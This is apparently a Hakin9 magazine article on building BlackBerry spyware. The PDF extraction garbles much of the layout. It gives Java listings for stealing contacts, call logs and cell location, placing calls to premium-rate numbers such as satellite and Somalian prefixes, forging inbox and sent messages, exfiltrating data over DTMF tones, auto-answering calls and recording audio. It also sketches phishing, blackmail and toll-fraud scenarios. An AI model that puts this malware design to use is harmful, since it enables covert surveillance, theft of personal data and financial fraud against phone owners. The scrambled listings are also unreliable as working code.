Does your BlackBerry smartphone have ears?

AttAck Does your BlackBerry Smartphone have Ears? This saying may come from a story about Dionysius of Syracuse (430367 BC), who had an ear-shaped cave cut that connected the rooms of his palace so that he could hear what was being said from another room. Similar listening posts were installed in other palaces over the centuries, including the Louvre in Paris. T 80 he smartphone becomes the most popular gadget all over the world. Undoubtedly, compactness, convenience and PCs’ functional capabilities have been winning modern users’ hearts. People may think that Internet surfing is safer with their favorite smartphone than by PCs and that the privacy loss risk is minimized, however analytical statistics show the opposite. The most popular doesn’t mean most protected. Users who have purchased their devices tend to forget about it because they enjoy a password’s protection. Is iPhone or Android protected? Nope. BlackBerry users have a superior method of protection: password and encrypted file system based on ECC algorithms. Is that really the case? In my second article in February 2011 Issue Is Data Secure on the Password Protected Blackberry Device?, I detailed how to steal the password from a device, and in further articles I’m going to improve this method. Statistics show that more than 90% of fashionable gadget’s owners (like iPhone) store the personal information (photos, mail or contacts) without any device protection. Figure 1. Encryption Feature Figure 2. Up-to-date BlackBerry Contact 01/2012 Does your BlackBerry smartphone have ears? One third of them store the logon data, PIN codes or passwords for various services in them. About 1600 users in Great Britain, France, Italy and Spain took part in security research that exploded the myth of smartphones’ protection. It turned out the European smartphone users weren’t well-informed about mobile threats for today and considered protective measures unnecessary. Smartphone owners think that the risk of compromising privacy and losing data is lower with mobile devices than with PCs despite the fact that approximately one fifth of them had already faced data loss or data theft from mobile devices. It’s caused not only by lack of information but also by the constantly evolving variety of mobile platforms in the market. With wide mobile Internet distribution, malwares can interact with malevolent remote servers to receive updates and commands transmitting private data. In the future such techniques will be used by criminals for mobile botnet functional capacities. could you tell me where the telephone directory is, please?.. What is in an up-to-date BlackBerry Address Book? A lot of contact’s data, such as several mobile or home phone number, faxes, emails, BB PINs, work and home addresses, web-pages or dates. Also we can add a IM data (Gtalk, Y!, Windows Live, AIM, and not trust-able up-to-date ICQ). That was all until social networking arrived. One more question: Does your BlackBerry device have an auto on-off feature? OK, let’s summarize it. In our Address Book we have much valuable information Figure 3. FaceBook Options www.hakin9.org/en about friends; social network (Figure 3) gives an up-todate avatar, calendar (in spite of our calendar that can be filled our sleeping time at least), GPS location points, and SW names that provide several pieces of information. According to see Figure 4. Due to victim’s calendar info and GPS info (from photo exif or FaceBook likes), private data such as tracking info, habits, time marked a free, time when you’re possible sleeping, time when you’re at home/company can come to light. For example, in Figure 2, my contact information appears. Though my personal data is obfuscated, a few of my email addresses, phone numbers, home address (this info – City and County – was gotten from Facebook, by the way), my birthday, BlackBerry PIN, web-sites come up. Now let’s check my calendar events. Friday, April, 29th 00:00 – my friends birthday (as default it’s marked by 00:00 hour), Daily alarm is set 06:01, WLB Europe 2011, Arena Moscow – 21:00 til 22:30 (9 til 10.30 p.m.). It was a Tarja’s Turunen Concert Monday, May, 16th My free time is set 00:00-06:01. Indeed it’s time when my device is sleeping (auto on/off features) and me too... from time to time. And daily alarm is set 06:01 Some of this data we can use to interact with the device and distract the owner. Let us consider an attack vector in the following way. Smartphone owner is at music concert from 09:00 to 10:30 p.m. Suppose he takes a picture; we can catch it and send a spam message (how to send message and cover your tracks you can see in April 2011 Issue The Backroom Message That’s Stolen Your Deal) with several attachments such as malware link and picture of someone in his address book. Also we can send a PIN-message (it’s secure, isn’t it?) adding a GPS location of place. In this way the owner’s attention might be diverted to request permissions to Figure 4. Calendar Events 81 AttAck perform vulnerable actions with the smartphone. So, psychological manipulation or (briely in this article, misleading) is a type of social inluence that aims to change the perception of others through deceptive, or even abusive tactics. By advancing the interests of the manipulator, often at the others expense, many deem such methods as exploitative, devious, and deceptive. Social inluence is not necessarily negative. For example, doctors can try to persuade patients to change unhealthy habits. Social inluence is generally perceived to be harmless when it respects the right of the inluenced to accept or reject it, and is not unduly coercive. George K. Simon cites two manipulative techniques, Seduction: Manipulator uses charm, praise, flattery or overtly supporting others in order to get them to lower their defenses and give their trust and loyalty to him or her. Feigning confusion: Manipulator tries to play dumb by pretending he or she does not know what you are talking about or is confused about an important issue brought to his attention. We can protect ourselves somewhat. First, be attentive to downloadable software; second, create closed systems by utilizing IT Policy Rules by BES or other enterprise technology; Third it’s imposition of wrong track on your hypergraph (your device as aggregation info system i.e. blackberry). A detailed description I’m going to submit for consideration in my further articles as regard to bot-nets and semantic networks. Now we’ll examine the appropriate attach vector. First, stealing all possible fields from the object called PIM. One of the less technically dangerous security threats emanating from the world of data aggregation system (like smartphone) is the traditional attempt to Phish for a user’s login credentials. The attacker can then abuse the login credentials that they have gained in numerous ways: Sell the credentials on the black market. Gather more information about the attacked individual from their profile. Send more spam via the any possible channel from the compromised account. Once an attacker has successfully phished your credentials (in BB case it’s a trusted application), it’s very likely that intruder will go on to send links that will install the malware (or making misleading info’s exchange between you and your friends) onto your friends’ machines as well, propagating such exploits rapidly. Second, extracting email addresses or IM accounts from the Address Book an intruder can use the PIN to make messages appear legitimate. As we can see above, my contact card contains a moderate amount of exploitable information, but it’s enough to start getting junk messages 1 per 2 days at least. If my vcf-card with linkedin-link was stolen I’d start receiving junk mail such as job offers. Third, vandalizing the PIM data such as deleting several fields and adding new fields and committing the changes comprises another attack. See Figure 5 to find a defective BlackBerry contact. Are you sure it’s nothing? I’m not going to send to anycast an email, sms or something else with private or enterprise data even once. Or change phone number in your high-usage contact to make a missed call and then force you to recall by an Antarctica. Although, it’s a funny to talk with penguins, isn’t it? One more feature from malware is misleading of calendar events. Isn’t time to pack things into a suitcase to make a trip to South Pole? Fourth, Continuing the attack, an intruder can extract your phone number to extort by blackmail – if not directly, then by using your or your friend’s BlackBerry device. The attacker can call at that time (still during the music concert) to Antarctica, Dominican Republic, Somalia or GlobalStar Satellite. If every call costs at least $3 per minute, then one compromised device can lead to $10k per month. Computers don’t have a built-in billing system. Phones do: it’s called the phone bill. We have just now the numbers +882346077 +17675033611 +88213213214 +25240221601 +881842011123 Antarctica Dominican republic EMSAT satellite preix Somalia Globalstar satellite preix Listing 1. API-routines to design malware's part pim stealer import javax.microedition.pim.Contact; import javax.microedition.pim.ContactList; import javax.microedition.pim.PIM; import javax.microedition.pim.PIMList; Figure 5. Defective contact 82 01/2012 Does your BlackBerry smartphone have ears? seen the first examples of money-making malware that infects smartphones. This talk will provide details of the smartphone trojans that either place calls or send text messages to expensive premium-rate numbers. The most interesting part of these new attacks is the phone numbers they are using. For various reasons, they cannot effectively use regular premium-rate numbers. Instead, they use unusual phone numbers in faraway places – like Somalia, North Korea and the South Pole! Fifth Improving habit storing mechanisms in additional to calendar stealing – in the first attack vector malware gathering a statistical sample of data like my free time (00:00-06:01) could develop a profile of the victim. BlackBerry & j2me API provide opportunities to catch different events like an incoming call, outgoing call or connected state of call, group call, call’s duration, missed calls and cell-location without GPS. A GSM Cell ID (CID) is a generally unique number used to identify each Base transceiver station (BTS) or sector of a BTS within a Location area code (LAC) if not within a GSM network. Thus, all your regular habits manifest itself in man-device relationship. It’s possible to create false calendar appointments or tasks to mislead the owner; or look farther ahead and simulate an inbox element (pin or email-message) that asking for appointment and sent element that confirms this! By understanding your habits, an intruder can prompt you when you are most probably tired. Try and remember the previous vector attack! You have a fake-calendar event. And so what, you might say, Almost all of my events are getting to be send by email or pins. Yes, you’re absolutely right. And look above. One more misleading feature is email and pin manipulation. Email and pin messages we can programmatically add to the inbox or sent folder of blackberry which simulate actual email notifications. Malware Design (PIM StEALER) This article will demonstrate how API-routines help design such malware. A list of API classes needed to create a PIM stealer appears in Listing 1: The first class pim.Contact represents a PIM contact that consists of the fields, such as phone number, and address, that represent the personal information of a contact. The second class pim.ContactList represents a Contact list containing Contact items. The third class pim.PIM represents a collection of static methods for getting the names of the existing PIM Listing 3. Check whether ield exists! { //... if (pimList.isSupportedField(Contact.ADDR_ POSTALCODE)) if ((contact.countValues(Contact.ADDR_ POSTALCODE) > 0) strbuff.append(contact.getString(Contact.A } //... DDR_POSTALCODE, 0)); Listing 2. Retrieve contact information Listing 4. Steal info for each contact of address book String StealContactInfo(PIMList pimList, Contact { contact) StringBuffer strbuff = new StringBuffer(); Vector StealAllContacts() { String[] name = contact.getStringArray(Contact.NA Vector strings = new Vector(); PIM pim = PIM.getInstance(); ME, 0); ContactList pimList = (ContactList) pim.openPIML if (name[Contact.NAME_GIVEN] != null) ist(PIM.CONTACT_LIST, PIM.READ_ ONLY); strbuff.append(name[Contact.NAME_GIVEN]); if (name[Contact.NAME_FAMILY] != null) Enumeration contacts = pimList.items(); if (name[Contact.NAME_FAMILY] != null) { while (contacts.hasMoreElements()) strbuff.append(name[Contact.NAME_FAMILY]); strbuff.append(name[Contact.NICKNAME]); String string = getContactInfo(pimList, strbuff.append(contact.getString(Contact.TEL, 0)); contact); strbuff.append(contact.getString(Contact.EMAIL, 0)); strbuff.append(contact.getString(Contact.NOTE, 0)); } //.... } return strbuff.toString(); www.hakin9.org/en Contact contact = (Contact) contacts.nextElement(); strbuff.append(contact.getString(Contact.BIRTHDAY, 0)); strings.addElement(string); } 83 AttAck Listing 5. misleading modifying of address book's contact void modify_contact() { String[] nameArray = new String[Contact.NAMESIZE]; if (contact.countValues(Contact.NAME) > 0) contact.removeValue(Contact.NAME, 0); nameArray[Contact.NAME_GIVEN] = "MISLEADING NAME"; nameArray[Contact.NAME_FAMILY] = "MISLEADING SURNAME"; contact.addStringArray(Contact.NAME, PIMItem.ATTR_NONE, nameArray); if(contact.isModiied()) contact.commit(); } Listing 6. API-routines to design malware's part phone log stealer import net.rim.blackberry.api.phone.phonelogs.CallLog; import net.rim.blackberry.api.phone.phonelogs.PhoneCallLog; import net.rim.blackberry.api.phone.phonelogs.PhoneCallLogID; import net.rim.blackberry.api.phone.phonelogs.PhoneLogs; import net.rim.blackberry.api.phone.phonelogs.ConferencePhoneCallLog; Listing 7. Retrieve phone log information String getGrabbedData() { PhoneLogs plog = PhoneLogs.getInstance(); int numbofcall = plog.numberOfCalls(PhoneLogs.FOLDER_NORMAL_CALLS); Vector data = new Vector(); for (int i = 0; i < numbofcall; i++) { CallLog clog = plog.callAt(i, PhoneLogs.FOLDER_NORMAL_CALLS); StringBuffer strbuff = new StringBuffer(); strbuff.append(clog.getDate().toString()); //date of call strbuff.append(clog.getDuration()); //duration of call strbuff.append(clog.getNotes()); //notes of call strbuff.append(clog.getType()); //type of call strbuff.append(clog.getStatus()); if (clog instanceof PhoneCallLog) { //notes of call PhoneCallLog phoneLog = (PhoneCallLog) clog; for (int j= 0; { j < phoneLog.numberOfParticipants(); j++) PhoneCallLogID callid = phoneLog.getParticipantAt(j); if (callid != null) { } } } 84 } } strbuff.append(callid.getName()); //Name of call participant strbuff.append(callid.getNumber()); //Number of call participant data.addElement(strbuff.toString()); return new Utils.makeStringFromVector(data); 01/2012 Does your BlackBerry smartphone have ears? lists, opening the lists, and converting raw data streams to and from PIM items for importing and exporting into those lists. The fourth class pim.PIMList represents the common functionality of a PIM list. PIMLists contain zero or more PIMItems (represented by the class PIMItem). A PIMList allows retrieval of all or some of the PIMItems contained in the list. First of all, we need to know how to read data for a particular contact. Let’s see the java code in Listing 2. For each field like strbuff.append(contact.getString(Cont act.ADDR_POSTALCODE, 0)); we need to check the existence of such type of field and field’s count by following methods: see Listing 3. To steal all contacts from Address Book, the malware needs to get ContactList.items() and store it in object like Vector. And don’t forget about try-catch (Listing 4). Beyond of stealing there’s a opportunity to mislead info about stored contact, e.g. replacing a phone number or name field’s value. Since you can not add data to a field that already contains data, countValues is invoked to determine whether or not the field is empty, and removeValue is used to remove the data from the field. Then the commit method must be used to save the object to a list. Below, isModified is called to indicate whether or not the contact’s information has been modified. If so, commit method is invoked and the contact is saved (Listing 5). But it’s not a full data that could be leaked. A much more field you can find in PIM Constants, but some of them is deprecated and can be included according to hierarchy like a ADDR with sub-included fields ADDR_ COUNTRY, ADDR_LOCALITY, or NAME with sub-included fields GIVEN_NAME, FAMILY_NAME, NICK_NAME, etc. PIM INtEGER constants ADDR ADDR _ COUNTRY ADDR _ EXTRA ADDR _ LOCALITY ADDR _ POBOX ADDR _ POSTALCODE ADDR _ REGION ADDR _ STREET ATTR _ ASST ATTR _ FAX ATTR _ HOME ATTR _ MOBILE ATTR _ OTHER ATTR _ WORK BIRTHDAY CLASS CLASS _ CONFIDENTIAL CLASS _ PRIVATE CLASS _ PUBLIC EMAIL FORMATTED _ ADDR FORMATTED _ NAME NAME NAME _ FAMILY NAME _ GIVEN NAME _ OTHER NAME _ PREFIX NAME _ SUFFIX NAMESIZE NICKNAME NOTE ORG PIN PHOTO PHOTO _ URL PUBLIC _ KEY PUBLIC _ KEY _ STRING REVISION TEL TITLE UID URL www.hakin9.org/en Address of this contact. Country ield of this contact’s address array. Extra ield of this contact’s address array. Locality (for example, city) ield of this contact’s address array. Post oice box number ield of this contact’s address array. Postal code ield of this contact’s address array. Region (for example, state or province) ield of this contact’s address array. Street address ield of this contact’s address. Information (usually name or phone number) for an assistant to a contact. Fax number for a contact. Home phone number for a contact. Mobile phone number for a contact. Other information for a contact. Work phone number of a contact. Birthday ield for this contact. Access class for this contact. Conidential access class. Private access class. Public access class. Email address ield(s) for this contact. Contact’s formatted address. Contact’s formatted name. Contact’s name. Family name of this contact’s name array. Given name of this contact’s name array. Another name for this contact’s name array. A preix for this contact’s name array. A suix for this contact’s name array. Use PIMList.stringArraySize(int) instead Contact’s nick name. Represents a ield used to store a note about this contact. Name of this contact’s organization. Unique identiier for a BlackBerry device. Photo for this contact. URL leading to a photo for this contact. Public encryption key of this contact. String representation of this contact’s public encryption key. Last-modiication date and time for this contact’s information. Telephone number for this contact. Title for this contact, for example ‘Vice President’. Unique ID for this contact. Website URL for this contact. 85 AttAck Listing 8. API-routines to design malware's part “premium caller” Listing 9. Retrieve phone log information import net.rim.blackberry.api.invoke.PhoneArguments; void make_a_call() import net.rim.blackberry.api.invoke; { String tel = "1234567"; //put there any number or premium-rate call PhoneArguments phoneArgs = new PhoneArguments(Pho Malware Design (PHONE LOG StEALER) Ultimate goal is show what API-routines help us to design such malware. List of API classes is shall be import to re-create phone log stealer is presented in Listing 6. The first class CallLog represents a abstract class with methods that can retrieves to malware a Date of call, Duration of call, Notes for this call, and status of this call. All call’s status is in STATUS INTEGER Constants. The second class PhoneCallLog represents a call log in the message list for a simple phone call and retrieves malware a the participant for this call and type of call. All call’s type is in TYPE INTEGER Constants. The third class PhoneCallLogID represents a the caller ID information associated with a phone call log like call id, blackberry contact. The fourth class PhoneLogs lists of CallLog objects that together represent the call log for phone calls stored in the message list. All call’s folder is in FOLDER_ CALLS INTEGER Constants. neArguments.ARG_CALL, tel); Invoke.invokeApplication(Invoke.APP_TYPE_PHONE, } phoneArgs); Listing 10. API-routines to design malware's part “celllocation stealer” import net.rim.device.api.system.GPRSInfo; The fifth class ConferencePhoneCallLog is a log object for a conference call (a call with two or more participants). First of all, we need to know how to get a phone log data for any call. Let’s see Listing 7. Malware Design (PREMIUM cALLER) Ultimate goal is show what API-routines help us to design such malware. List of API classes is shall be import to re-create phone log stealer is presented in Listing 8. StAtUS INtEGER constants STATUS _ AUTHENTICATION _ FAILURE STATUS _ BUSY STATUS _ CALL _ FAILED _ TRY _ AGAIN STATUS _ CALL _ FAIL _ DUE _ TO _ FADING STATUS _ CALL _ LOST _ DUE _ TO _ FADING STATUS _ CONGESTION STATUS _ CONNECTION _ DENIED STATUS _ EMERGENCY _ CALLS _ ONLY STATUS _ FDN _ MISMATCH STATUS _ GENERAL _ ERROR STATUS _ HOLD _ ERROR STATUS _ INCOMING _ CALL _ BARRED STATUS _ MAINTENANCE _ REQUIRED STATUS _ NORMAL STATUS _ NUMBER _ UNOBTAINABLE STATUS _ OUTGOING _ CALLS _ BARRED STATUS _ PATH _ UNAVAILABLE STATUS _ SERVICE _ NOT _ AVAILABLE Error due to call authorization failure. Busy call status. Call failed, try again. Call failed due to fading. Call lost due to fading. Error due to congestion. Call connection was denied. Emergency calls only. An FDN mismatch occured. General error occured. Call hold error. Incoming calls are barred. Maintenance required. Normal call status (no errors). Error due to number unobtainability. Outgoing calls barred. Error due to path unavailability. Service not available. tYPE INtEGER constants TYPE _ MISSED _ CALL _ OPENED TYPE _ MISSED _ CALL _ UNOPENED TYPE _ PLACED _ CALL TYPE _ RECEIVED _ CALL Call that was missed and that has been viewed. Call that was missed and has not been viewed yet. Successfully connected outgoing call. Incoming call that was successfully received. FOLDER_cALLS INtEGER constants FOLDER _ MISSED _ CALLS FOLDER _ NORMAL _ CALLS 86 Folder ID for the missed call folder. Folder ID for other calls. 01/2012 Does your BlackBerry smartphone have ears? The first class CallLog encapsulates arguments to pass to the Phone application. The second class PhoneCallLog represents to invoke internal applications with optional parameters. First of all, we need to know how to make a call. Let’s see Listing 9. Malware Design (cELL LOcAtION StEALER) Ultimate goal is show what API-routines help us to design such malware. List of API classes is shall be import to re-create cell-location stealer is presented in Listing 10. The class CallLog contains a General Packet Radio Service (GPRS) radio information. First of all, we need to know how to get cell-id information. Let’s see Listing 11. Malware Design (MISLEADING MESSAGE’S SIMULAtION) Ultimate goal is show what API-routines help us to design such malware. List of API classes and Folder Integer Constants you can find in April 2011 Issue The Backroom Message That’s Stolen Your Deal. First of all, we need to know how to put message in the sent folder. Let’s see Listing 12. In next listing (Listing 13), follow suit to put a message in the inbox folder. Listing 11. Retrieve phone log information void { steal_cell_id_location() // Retrieves the cell id String cellID = Integer.toString(GPRSInfo.getCellInfo().getCellId()); // Retrieves the Location Area Code. String lac = Integer.toString(GPRSInfo.getCellInfo().getLAC()); // Retrieves the mobile country code. String mcc = Integer.toHexString(RadioInfo.getMCC(RadioInfo.getCurrentNetworkIndex())); // Retrieves the Location network Code. } String mnc = Integer.toHexString(RadioInfo.getMNC(RadioInfo.getCurrentNetworkIndex())); Listing 12. Putting message in sent folder void MisLeadSentMessage(Address[] Numbers, String message, boolean delivered) { Store store = Session.getDefaultInstance().getStore(); // retrieve the sent folder Folder[] folders = store.list(Folder.SENT); Folder sentfolder = folders[0]; // create a new message and store it in the sent folder Message msg = new Message(sentfolder); if (delivered) // message delivered msg.setStatus(Message.Status.TX_SENT, Message.Status.TX_SENT); else msg.setStatus(Message.Status.TX_ERROR, Message.Status.TX_ERROR); msg.setFlag(Message.Flag.OPENED, true); msg.addRecipients(Message.RecipientType.TO, Numbers); // set a subject for the message msg.setSubject("subject"); // sets the body of the message msg.setContent(message); } sentfolder.appendMessage(msg); www.hakin9.org/en 87 AttAck Each message has a status type and flag type. The status type tells us whether it’s a compress or ciphered, received or delivered, etc. Once delivered, the message flag tells us the message’s disposition: either read, saved, or moved, etc. The following section explains the codes Message status, message flag constants. To adapt and improving our understanding of the BB user’s habits we have to use phone call’s events. Malware code may override each event in Listing 14 with anything code you like. In Listing 15 I give an example of my predilections. locks or semaphores which may indicate various data attributes or process states. timing channels The time needed by a process to perform an operation can be manipulated to provide information to another process. termination channels A process launches a task. It this task is finished at a specified time it means 1, 0 otherwise. Resource Exhaustion channels covert channels in BlackBerry In computer security, a covert channel is a type of computer security attack capable of transfering information objects between processes that are not supposed to be allowed to communicate by the computer security policy. The term, originated in 1972 by Lampson is defined as (channels) not intended for information transfer at all, such as the service program’s effect on system load. to distinguish it from legitimate channels subject to access controls. Unsurprisingly covert channels defined in 1972 were system based. However they are still relevant in any shared environment including. The value (0 or 1) is provided by the availability of a specific resource which may be filled up (hard disk), overloaded (100% cpu utilization) etc. Power channels In this case the information is based upon power consumption. The term covert channel, when applied to computer networks, describes a mechanism for sending information without the knowledge of the network administrator or other users. Depending on the context, it has also been defined as: • Storage channels The most basic indeed, based on the used of a shared data storage area. Most evolved techniques rely on • a transmission channel that transfer data in a manner that violates security policy. a means of communication not normally intended to be used for communication. MESSAGE StAtUS INtEGER constants RX _ ERROR RX _ RECEIVED RX _ RECEIVING TX _ COMPOSING TX _ COMPRESSING TX _ DELIVERED TX _ ENCRYPTING TX _ ERROR TX _ GENERAL _ FAILURE TX _ MAILBOXED TX _ PENDING TX _ READ TX _ RETRIEVING _ KEY TX _ SENDING TX _ SENT Indicates an error occurred when receiving a message. Indicates the message has been received successfully. Indicates the message is being received. Indicates the message is being composed. Indicates the message is being compressed. Indicates the message has been delivered successfully. Indicates the message is being encrypted. Indicates a transmission error. Indicates a general transmission failure. Indicates the sent message has been iled in the mailbox. Indicates message transmission is pending. Indicates the message has been read. Indicaes the key is being retrieved for the message. Indicates the message is being sent. Indicates the message has been sent. MESSAGE FLAG INtEGER constants BODY _ TRUNCATED DELETED FILED MOVED OPENED PRIORIT REPLY _ ALLOWED REQUEST _ READ _ ACK SAVED SAVED _ THEN _ ORPHANED 88 Flag indicates that the message has been truncated. Flag indicates the message has been deleted. Flag indicates that the message has been iled. Flag indicates that the message has moved after desktop sync. Flag indicates that the message has been read. Deprecated. In favour of Message.Priority Flag indicates that replies are allowed from this message. Flag indicates that the message sender requested an acknowledgment. Flag indicates that the message was saved. Flag indicates that the message was saved and deleted from its original location. 01/2012 Does your BlackBerry smartphone have ears? • a mechanism for sending and receiving information data between machines without alerting any irewalls and IDSs on the network. Fundamentally different from covert communications, encrypted communications allow the data stream to be sent and retrieved by those possessing sanctioned keys. Encrypted communications however don’t hide the fact that a communication took place, or the identity of its originator and destination. Encrypted data streams will often give up valuable information about themselves through their inherent characteristics which may be extracted through careful trafic analysis. Covert communications may be tunneled in normal, authorized trafic using techniques that make them largely undetectable, except by administrators and network ilters. Covert channels in computer network protocols are also different from steganography which hides information in audio, visual, or textual content. While steganography requires some form of content as cover, covert channels require some network protocol as carrier. With increasing awarness of computer security issues, groups and individuals may be motivated to keep their communications secret. Criminals, hackers, nationstate and corporate spies, privacy minded individuals, Listing 13. Putting message in inbox folder void MisLeadInboxMessage(Address fromAddress, String message) { Session session = Session.waitForDefaultSession(); Store store = session.getStore(); Folder[] folders = store.list(Folder.INBOX); Folder inbox = folders[0]; inal Message msg = new Message(inbox); msg.setContent(message); msg.setFrom(fromAddress); msg.setStatus(Message.Status.RX_RECEIVED, Message.Status.RX_RECEIVED); msg.setSentDate(new Date(System.currentTimeMillis())); msg.setFlag(Message.Flag.REPLY_ALLOWED, true); msg.setInbound(true); msg.setSubject("subject"); } inbox.appendMessage(msg); Listing 14. PhoneListener part I private class PhoneLogger implements PhoneListener { public void callAdded(int callId) public void callAnswered(int callId) { } public void callConferenceCallEstablished(int callId) { } public void callDirectConnectConnected(int callId) { } public void callConnected(int callId) public void callDirectConnectDisconnected(int callId) public void callDisconnected(int callId) public void callEndedByUser(int callId) public void callHeld(int callId) { } public void callRemoved(int callId) { } public void callWaiting(int callid) { } public void conferenceCallDisconnected(int callId) www.hakin9.org/en { } { } { } public void callIncoming(int callId) public void callResumed(int callId) { } { } public void callFailed(int callId, int reason) } { } { } { } { } 89 AttAck sysadmins and savvy users might seek to use these channels to: • • • • Access data from an otherwise secure system Avoid detection of unauthorized access Perform legitimate network management functions Install, spread or control malware on compromised systems Circumvent ilters designed to limit their freedom of speech Bypass irewalls for unrestricted access to the web • • In the past decade, there has been an enormous increase in the popularity and promotion of the Internet Protocol Suite (aka TCP/IP) as the primary suite of network protocols for the interconnection of computer systems. Much research has been conducted in covert channeling by use (or misuse) of its component protocols. In particular, core protocols such as HTTP, ICMP and DNS have all shown the ability to act as clandestine mediums for covert trafic. These protocols were designed well before security was a primary concern and thus have much vulnerability that allow for creative misuse, within the scope and limitations of their RFC speciications. In 1984 Simmons introduces the concept of subliminal channel through steganography. This concept, applied to the case of two prisoners exchanging sensitive information about how to escape through an open channel, is then extended to channels built over digital signatures schemes. In this case the channel is not stealth. But, as information is hidden inside other information, the data exchanged doesn’t look sensitive and shall not raise suspicion. Covert channels then usually refer to one or both concepts: stealth channel and/or hidden information. In any case the main concern is information and more precisely the transmission of such information through what is called the information stream. Voice covert channels in BlackBerry Dual-tone multi-frequency signaling (DTMF) is used for telecommunication signaling over analog telephone lines in the voice-frequency band between telephone handsets and other communications devices and the switching center. The version of DTMF that is used in push-button telephones is commonly known as TouchTone or tone-dialing. The telephone network is designed to carry voice signals. Nonetheless, it often carries other types of signals. A simple and ubiquitous example is telephone numbers. Your telephone has to communicate to the phone company central office the phone number you are intending to call. It has to do that over circuits designed to carry voice signals. Moreover, you may connect to a long-distance carrier distinct from your local service provider before supplying the phone number you want to call. Or you may connect to some service that asks you to enter your credit card number or account number, or asks you to respond to certain questions by pressing buttons on your telephone keypad. DTMF converts sequences of numerical digits into signals that will easily traverse circuits designed for voice. DTMF signaling converts decimal digits (and the symbols * and #) into sounds that share enough essential characteristics with voice to easily traverse circuits designed for voice. According to Symantec Attack Surface Analysis of BlackBerry Devices services such as cellular voicemail authenticate the calling user by the incoming phone Listing 15. PhoneListener part II Listing 17. Initiate a call by victim device private class PhoneLogger implements PhoneListener void init_send() { PhoneCall call = Phone.getCall(callId); { StringBuffer strbuff = new StringBuffer(); string ,etc strbuff.append(" new DateTime" + callId + byte[] tone_arr = convert(new String("XXX").getBy call.getPhoneNumber() + call.get } tes()); DisplayPhoneNumber()); PhoneArguments phoneArgs = new PhoneArgumen ts(PhoneArguments.ARG_CALL, "1234567"); Listing 16. API-routines to design malware's part “voice covert channel” Invoke.invokeApplication(Invoke.APP_TYPE_PHONE, phoneArgs); Thread.sleep(2000); import net.rim.blackberry.api.invoke.PhoneArguments; import net.rim.blackberry.api.invoke; 90 //below any convert subrountine to encode stream, //we're waiting of 2 sec PhoneCall call = Phone.getActiveCall(); } call.sendDTMFTones(tone_arr); 01/2012 Does your BlackBerry smartphone have ears? number. A malicious application may take advantage of such systems by injecting DTMF tones into outgoing calls. Once authenticated, the application would have full control over the service preferences. For example, upon accessing voicemail, the application could disable caller verification and instead enable PIN verification (and then set the PIN number). Also it’s possible to retrieve the string of tones entered by the user and hence their PIN code. Clearly an attacker may take advantage of DTMF features to set up a covert channel for stealth data transferring. Even with low channel capacity, an Listing 18. Simulate answering a call part I String phoneNumber = call.getDisplayPhoneNumber() if (phoneNumber.endsWith("XXXXXXX")) { intruder phone number Again, API-routines can help design such malware. A list of API classes essential to re-create malware appears in Listing 16. Its the same API-routines used into Premium caller malware’s part. Transferred data perhaps might be compressed and/ or encrypted. Prepared data can be encoded in each of the DTMF tones 0, 1, 2, 3, 4, 5, 6, 7 (8,9,*,# being public class PListener extends AbstractPhoneListener PhoneCall call = Phone.getCall(callId); ; Malware Design (voice covert channel) Listing 20. Simulate answering a call part II – directly simulation void callConnected(int callId) { attack can successfully transfer address book, short messages, pin-messages and other private data. { public void callIncoming(int callId) { //it's inal PhoneCall call = Phone.getCall(callId); inal String number = call.getDisplayPhoneNumb er(); //below any convert subrountine to encode EventInjector.KeyCodeEvent pressKey = new stream, string ,etc EventInjector.KeyCodeEvent(K byte[] tone_arr = convert(new String("XXX").g eyCodeEvent.KEY_DOWN, (char) etBytes()); if (call.sendDTMFTones(tone_arr)) { } Keypad.KEY_UP, 0); EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEven //GRAND SUCCESS t(KeyCodeEvent.KEY_UP, (char) else Keypad.KEY_UP, 0); { } } try } { } Thread.sleep(1000); catch (InterruptedException e) Listing 19. API-routines to design malware's part “simulation” { //some errors import net.rim.blackberry.api.phone.AbstractPhoneLi } import net.rim.blackberry.api.phone.Phone; EventInjector.invokeEvent(releaseKey); EventInjector.invokeEvent(pressKey); stener; import net.rim.blackberry.api.phone.PhoneCall; import net.rim.device.api.system.EventInjector; } import net.rim.device.api.system.EventInjector.KeyCo } import net.rim.device.api.ui.Keypad; Listing 21. API-routines to design malware's part “voice recording” deEvent; import net.rim.device.api.ui.Ui; import net.rim.device.api.ui.UiApplication; import net.rim.device.api.ui.component.LabelField; import javax.microedition.media.*; import net.rim.device.api.util.Persistable; import javax.microedition.media.Player; import net.rim.device.api.ui.component.Menu; www.hakin9.org/en import javax.microedition.media.Manager; 91 AttAck PLAYER StAtE INtEGER constants CLOSED PREFETCHED REALIZED STARTED TIME _ UNKNOWN UNREALIZED Indicate that the Player is closed. Indicate that it has acquired all the resources to begin playing. Indicate that it’s acquired the required information but not the resources to function. Indicate that the Player has already started. Indicate that the requested time is unknown. (Long int type) Indicate that it hasn’t acquired the required info and resources to function. redundant, because it’s a bit simpler) with padding to be a multiple of 3 in length. Here’s a two way scenario. Initiate a call by victim device and send to call’s queue the dtmf-tones. Simulate answering an incoming call and then send the dtmf-tones. Let us examine each of them (Listing 17-20). To simulate answering, please see my article in February 2011 Issue Is Data Secure on the Password Protected Blackberry Device?. After including wait for incoming call and inject KEY_ UP to answer. By the way, if you use KEY_DOWN character you’ve got a missed call at all. Audio covert channels in BlackBerry or eavesdropping Eavesdropping is the act of secretly listening to the private conversation of others without their consent, as defined by US Black’s Law Dictionary. Early telephone systems shared party lines which would allow the sharing subscribers to listen to each others conversations. This was a common practice in rural America which resulted in many incidents and feuds. Nowadays, eavesdropping can also be done over telephone lines (wiretapping), email, instant messaging, and other methods of communication considered private. VoIP communications software is also vulnerable to electronic eavesdropping by via malware infections such as Trojans. According to SC Magazine on May 12, 2011 Cisco IP phones were vulnerable. Security consultant Chris Gatford showed SC Magazine how internet-protocol phone systems from market leader Cisco were vulnerable to out of the box attacks that were widely known. He said customers of his had lost $20,000 a day through such exploits. Gatford said VoIP phone systems could turn on their users, hacked to become networked listening devices or bugs, wiretapped remotely or silenced, blacking out communications. Contact centers that often use internet-protocol phones because they were cheap to run, were especially at risk, he said (Full article you can find at section On The Net, Cisco IP phones prone to hackers). Moreover, BlackBerry smartphone already has a feature known as Voice Notes Recorder. Nobody will restrict access to the same sets of API-subroutines (Listing 21). First class Manager represents access point for obtaining system dependent resources such as Players for multimedia processing. Second object, now interface Player controls the rendering of time based media data. It provides the methods to manage the Player’s life cycle, controls the playback progress and obtains the presentation components. A Player has five states: UNREALIZED, REALIZED, PREFETCHED, STARTED, CLOSED. The purpose of these life-cycle states is 